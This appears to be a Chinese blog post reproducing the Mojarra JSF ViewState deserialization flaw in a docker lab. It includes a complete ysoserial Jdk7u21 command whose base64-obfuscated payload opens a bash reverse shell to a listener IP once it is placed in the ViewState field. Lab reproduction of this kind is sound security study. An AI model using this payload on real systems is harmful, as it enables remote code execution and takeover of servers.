Mojarra JSF ViewState 反序列化漏洞

JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-08、2.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。

参考链接:

环境搭建

执行如下命令启动一个使用了JDK7u21和mojarra 2.1.28的JSF应用:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看到demo页面。

漏洞复现

JSF的ViewState结构如下:

根据这个结构,我们使用ysoserial的Jdk7u21利用链来生成一段合法的Payload:

java -jar ysoserial.jar Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" | gzip | base64 -w 0

然后,我们提交表单并抓包,修改其中javax.faces.ViewState字段的值为上述Payload(别忘了URL编码):

开启监听,反弹Shell成功

posted @ 2022-05-17 17:54  NoCirc1e  阅读(656)  评论(0编辑  收藏  举报